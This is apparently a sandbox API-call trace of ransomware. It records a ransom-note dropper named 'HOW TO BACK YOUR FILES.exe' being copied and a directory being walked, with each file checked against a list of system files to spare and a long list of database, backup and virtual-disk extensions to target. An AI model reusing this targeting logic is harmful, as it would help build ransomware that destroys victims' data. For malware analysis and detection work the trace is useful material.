	[0053.404] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.404] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.404] GetLastError () returned 0x0
	[0053.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.404] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.404] CloseHandle (hObject=0x15c) returned 1
	[0053.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.405] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.405] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e2bb6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e2bb6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0053.405] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.405] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.405] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.405] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e2bb6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e2bb6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.405] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.405] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.405] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.405] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.405] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0053.405] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0053.405] lstrlenW (lpString="desktop.ini") returned 11
	[0053.405] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links\\*") returned 34
	[0053.405] lstrcpyW (in: lpString1=0x119e64a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0053.405] lstrlenW (lpString="desktop.ini") returned 11
	[0053.406] lstrlenW (lpString="Apollon865") returned 10
	[0053.406] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0053.406] lstrlenW (lpString=".dll") returned 4
	[0053.406] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0053.406] lstrlenW (lpString=".lnk") returned 4
	[0053.406] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0053.406] lstrlenW (lpString=".ini") returned 4
	[0053.406] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0053.406] lstrlenW (lpString=".sys") returned 4
	[0053.406] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0053.406] lstrlenW (lpString="desktop.ini") returned 11
	[0053.406] lstrlenW (lpString="bak") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0053.406] lstrlenW (lpString="ba_") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0053.406] lstrlenW (lpString="dbb") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0053.406] lstrlenW (lpString="vmdk") returned 4
	[0053.406] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0053.406] lstrlenW (lpString="rar") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0053.406] lstrlenW (lpString="zip") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0053.406] lstrlenW (lpString="tgz") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0053.406] lstrlenW (lpString="vbox") returned 4
	[0053.406] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0053.406] lstrlenW (lpString="vdi") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0053.406] lstrlenW (lpString="vhd") returned 3
	[0053.406] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0053.406] lstrlenW (lpString="vhdx") returned 4
	[0053.406] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0053.406] lstrlenW (lpString="avhd") returned 4
	[0053.407] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0053.407] lstrlenW (lpString="db") returned 2
	[0053.407] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0053.407] lstrlenW (lpString="db2") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0053.407] lstrlenW (lpString="db3") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0053.407] lstrlenW (lpString="dbf") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0053.407] lstrlenW (lpString="mdf") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0053.407] lstrlenW (lpString="mdb") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0053.407] lstrlenW (lpString="sql") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0053.407] lstrlenW (lpString="sqlite") returned 6
	[0053.407] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0053.407] lstrlenW (lpString="sqlite3") returned 7
	[0053.407] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0053.407] lstrlenW (lpString="sqlitedb") returned 8
	[0053.407] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0053.407] lstrlenW (lpString="xml") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0053.407] lstrlenW (lpString="$er") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0053.407] lstrlenW (lpString="4dd") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0053.407] lstrlenW (lpString="4dl") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0053.407] lstrlenW (lpString="^^^") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0053.407] lstrlenW (lpString="abs") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0053.407] lstrlenW (lpString="abx") returned 3
	[0053.407] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0053.408] lstrlenW (lpString="accdb") returned 5
	[0053.408] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0053.408] lstrlenW (lpString="accdc") returned 5
	[0053.408] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0053.408] lstrlenW (lpString="accde") returned 5
	[0053.408] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0053.408] lstrlenW (lpString="accdr") returned 5
	[0053.408] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0053.408] lstrlenW (lpString="accdt") returned 5
	[0053.408] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0053.408] lstrlenW (lpString="accdw") returned 5
	[0053.408] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0053.408] lstrlenW (lpString="accft") returned 5
	[0053.408] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0053.408] lstrlenW (lpString="adb") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.408] lstrlenW (lpString="adb") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.408] lstrlenW (lpString="ade") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0053.408] lstrlenW (lpString="adf") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0053.408] lstrlenW (lpString="adn") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0053.408] lstrlenW (lpString="adp") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0053.408] lstrlenW (lpString="alf") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0053.408] lstrlenW (lpString="ask") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0053.408] lstrlenW (lpString="btr") returned 3
	[0053.408] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0053.408] lstrlenW (lpString="cat") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0053.409] lstrlenW (lpString="cdb") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0053.409] lstrlenW (lpString="ckp") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0053.409] lstrlenW (lpString="cma") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0053.409] lstrlenW (lpString="cpd") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0053.409] lstrlenW (lpString="dacpac") returned 6
	[0053.409] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0053.409] lstrlenW (lpString="dad") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0053.409] lstrlenW (lpString="dadiagrams") returned 10
	[0053.409] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0053.409] lstrlenW (lpString="daschema") returned 8
	[0053.409] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0053.409] lstrlenW (lpString="db-journal") returned 10
	[0053.409] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0053.409] lstrlenW (lpString="db-shm") returned 6
	[0053.409] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0053.409] lstrlenW (lpString="db-wal") returned 6
	[0053.409] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0053.409] lstrlenW (lpString="dbc") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0053.409] lstrlenW (lpString="dbs") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0053.409] lstrlenW (lpString="dbt") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0053.409] lstrlenW (lpString="dbv") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0053.409] lstrlenW (lpString="dbx") returned 3
	[0053.409] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0053.410] lstrlenW (lpString="dcb") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0053.410] lstrlenW (lpString="dct") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0053.410] lstrlenW (lpString="dcx") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0053.410] lstrlenW (lpString="ddl") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0053.410] lstrlenW (lpString="dlis") returned 4
	[0053.410] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0053.410] lstrlenW (lpString="dp1") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0053.410] lstrlenW (lpString="dqy") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0053.410] lstrlenW (lpString="dsk") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0053.410] lstrlenW (lpString="dsn") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0053.410] lstrlenW (lpString="dtsx") returned 4
	[0053.410] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0053.410] lstrlenW (lpString="dxl") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0053.410] lstrlenW (lpString="eco") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0053.410] lstrlenW (lpString="ecx") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0053.410] lstrlenW (lpString="edb") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0053.410] lstrlenW (lpString="epim") returned 4
	[0053.410] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0053.410] lstrlenW (lpString="fcd") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0053.410] lstrlenW (lpString="fdb") returned 3
	[0053.410] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0053.410] lstrlenW (lpString="fic") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0053.411] lstrlenW (lpString="flexolibrary") returned 12
	[0053.411] lstrlenW (lpString="fm5") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0053.411] lstrlenW (lpString="fmp") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0053.411] lstrlenW (lpString="fmp12") returned 5
	[0053.411] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0053.411] lstrlenW (lpString="fmpsl") returned 5
	[0053.411] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0053.411] lstrlenW (lpString="fol") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0053.411] lstrlenW (lpString="fp3") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0053.411] lstrlenW (lpString="fp4") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0053.411] lstrlenW (lpString="fp5") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0053.411] lstrlenW (lpString="fp7") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0053.411] lstrlenW (lpString="fpt") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0053.411] lstrlenW (lpString="frm") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0053.411] lstrlenW (lpString="gdb") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.411] lstrlenW (lpString="gdb") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.411] lstrlenW (lpString="grdb") returned 4
	[0053.411] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0053.411] lstrlenW (lpString="gwi") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0053.411] lstrlenW (lpString="hdb") returned 3
	[0053.411] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0053.412] lstrlenW (lpString="his") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0053.412] lstrlenW (lpString="ib") returned 2
	[0053.412] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0053.412] lstrlenW (lpString="idb") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0053.412] lstrlenW (lpString="ihx") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0053.412] lstrlenW (lpString="itdb") returned 4
	[0053.412] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0053.412] lstrlenW (lpString="itw") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0053.412] lstrlenW (lpString="jet") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0053.412] lstrlenW (lpString="jtx") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0053.412] lstrlenW (lpString="kdb") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0053.412] lstrlenW (lpString="kexi") returned 4
	[0053.412] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0053.412] lstrlenW (lpString="kexic") returned 5
	[0053.412] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0053.412] lstrlenW (lpString="kexis") returned 5
	[0053.412] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0053.412] lstrlenW (lpString="lgc") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0053.412] lstrlenW (lpString="lwx") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0053.412] lstrlenW (lpString="maf") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0053.412] lstrlenW (lpString="maq") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0053.412] lstrlenW (lpString="mar") returned 3
	[0053.412] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0053.413] lstrlenW (lpString="marshal") returned 7
	[0053.413] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0053.413] lstrlenW (lpString="mas") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0053.413] lstrlenW (lpString="mav") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0053.413] lstrlenW (lpString="maw") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0053.413] lstrlenW (lpString="mdbhtml") returned 7
	[0053.413] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0053.413] lstrlenW (lpString="mdn") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0053.413] lstrlenW (lpString="mdt") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0053.413] lstrlenW (lpString="mfd") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0053.413] lstrlenW (lpString="mpd") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0053.413] lstrlenW (lpString="mrg") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0053.413] lstrlenW (lpString="mud") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0053.413] lstrlenW (lpString="mwb") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0053.413] lstrlenW (lpString="myd") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0053.413] lstrlenW (lpString="ndf") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0053.413] lstrlenW (lpString="nnt") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0053.413] lstrlenW (lpString="nrmlib") returned 6
	[0053.413] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0053.413] lstrlenW (lpString="ns2") returned 3
	[0053.413] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0053.413] lstrlenW (lpString="ns3") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0053.414] lstrlenW (lpString="ns4") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0053.414] lstrlenW (lpString="nsf") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0053.414] lstrlenW (lpString="nv") returned 2
	[0053.414] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0053.414] lstrlenW (lpString="nv2") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0053.414] lstrlenW (lpString="nwdb") returned 4
	[0053.414] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0053.414] lstrlenW (lpString="nyf") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0053.414] lstrlenW (lpString="odb") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.414] lstrlenW (lpString="odb") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.414] lstrlenW (lpString="oqy") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0053.414] lstrlenW (lpString="ora") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0053.414] lstrlenW (lpString="orx") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0053.414] lstrlenW (lpString="owc") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0053.414] lstrlenW (lpString="p96") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0053.414] lstrlenW (lpString="p97") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0053.414] lstrlenW (lpString="pan") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0053.414] lstrlenW (lpString="pdb") returned 3
	[0053.414] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0053.414] lstrlenW (lpString="pdm") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0053.415] lstrlenW (lpString="pnz") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0053.415] lstrlenW (lpString="qry") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0053.415] lstrlenW (lpString="qvd") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0053.415] lstrlenW (lpString="rbf") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0053.415] lstrlenW (lpString="rctd") returned 4
	[0053.415] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0053.415] lstrlenW (lpString="rod") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0053.415] lstrlenW (lpString="rodx") returned 4
	[0053.415] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0053.415] lstrlenW (lpString="rpd") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0053.415] lstrlenW (lpString="rsd") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0053.415] lstrlenW (lpString="sas7bdat") returned 8
	[0053.415] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0053.415] lstrlenW (lpString="sbf") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0053.415] lstrlenW (lpString="scx") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0053.415] lstrlenW (lpString="sdb") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0053.415] lstrlenW (lpString="sdc") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0053.415] lstrlenW (lpString="sdf") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0053.415] lstrlenW (lpString="sis") returned 3
	[0053.415] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0053.415] lstrlenW (lpString="spq") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0053.416] lstrlenW (lpString="te") returned 2
	[0053.416] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0053.416] lstrlenW (lpString="teacher") returned 7
	[0053.416] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0053.416] lstrlenW (lpString="tmd") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0053.416] lstrlenW (lpString="tps") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0053.416] lstrlenW (lpString="trc") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.416] lstrlenW (lpString="trc") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.416] lstrlenW (lpString="trm") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0053.416] lstrlenW (lpString="udb") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0053.416] lstrlenW (lpString="udl") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0053.416] lstrlenW (lpString="usr") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0053.416] lstrlenW (lpString="v12") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0053.416] lstrlenW (lpString="vis") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0053.416] lstrlenW (lpString="vpd") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0053.416] lstrlenW (lpString="vvv") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0053.416] lstrlenW (lpString="wdb") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0053.416] lstrlenW (lpString="wmdb") returned 4
	[0053.416] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0053.416] lstrlenW (lpString="wrk") returned 3
	[0053.416] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
